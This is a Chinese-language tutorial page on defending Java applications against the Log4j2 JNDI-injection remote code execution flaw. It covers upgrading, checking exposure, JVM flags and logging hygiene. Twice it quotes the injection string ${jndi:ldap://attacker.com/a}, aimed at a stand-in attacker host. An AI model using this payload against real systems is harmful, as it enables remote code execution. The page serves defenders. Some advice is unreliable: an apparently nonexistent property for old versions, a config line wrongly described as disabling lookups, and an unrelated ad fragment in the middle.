Java 中日志怎么防范由低版本 Log4j2 远程代码执行漏洞（JNDI 注入）引起的致命安全隐患-java教程-PHP中文网

最有效防范方式是升级到log4j2 2.17.0或更高版本；低版本因默认开启jndi lookup且未限制协议和地址，易被${jndi:ldap://attacker.com/a}等恶意日志触发远程代码执行。

java 中日志怎么防范由低版本 log4j2 远程代码执行漏洞（jndi 注入）引起的致命安全隐患

直接升级到 Log4j2 2.17.0 或更高版本是最有效、最彻底的防范方式。低版本（2.0-beta9 至 2.14.1）因默认开启 JNDI lookup 且未限制协议和目标地址，极易被构造如 ${jndi:ldap://attacker.com/a} 的日志内容触发远程类加载与任意代码执行。

确认是否受影响

检查项目中是否引入了 log4j-core（非 log4j-api），且版本在 2.x 范围内且低于 2.15.0-rc2。可通过以下方式快速识别：

运行 mvn dependency:tree | grep log4j 或查看 lib/ 目录下的 JAR 包名与版本号
确认日志语句中是否可能拼接用户可控输入（如 HTTP 请求头、参数、表单内容）并传入 logger.info()、error() 等方法
注意：即使日志级别设为 WARN/ERROR，只要 message 含 ${jndi:...} 且未禁用 lookup，仍可能触发

紧急缓解措施（升级前必做）

若无法立即升级，必须通过 JVM 启动参数或环境变量禁用 JNDI 查找功能：

Java Maven Common

Java Maven 项目审查工作流的通用输入处理。当 Java Maven 项目以 ZIP压缩包或 GitLab 仓库 URL 形式提供且需要...时使用。

下载

添加 JVM 参数：-Dlog4j2.formatMsgNoLookups=true（适用于 2.10 及以上）
或设置系统属性：log4j2.formatMsgNoLookups=true（代码中早于日志初始化时调用 System.setProperty()）
对 2.0–2.9.x 版本，需额外设置：-Dlog4j2.noFormatMsgLookup=true（部分旧版兼容）
同时建议关闭 JNDI 所有协议外连：-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

配置层加固

从日志使用习惯和框架配置入手降低风险面：

避免将原始请求头（如 User-Agent、Referer）、JSON 字段、URL 参数等未经清洗直接写入日志；应先做字符替换（如将 $ 替换为 \$）或白名单过滤
在 log4j2.xml 或 log4j2.properties 中显式禁用 lookup：status="warn" monitorInterval="30" disableJmx="true" 非核心，但配合 noFormatMsgLookup 更稳妥
若业务允许，可临时将日志格式中的 %m（message）替换为 %m{nolookups}（2.15+ 支持）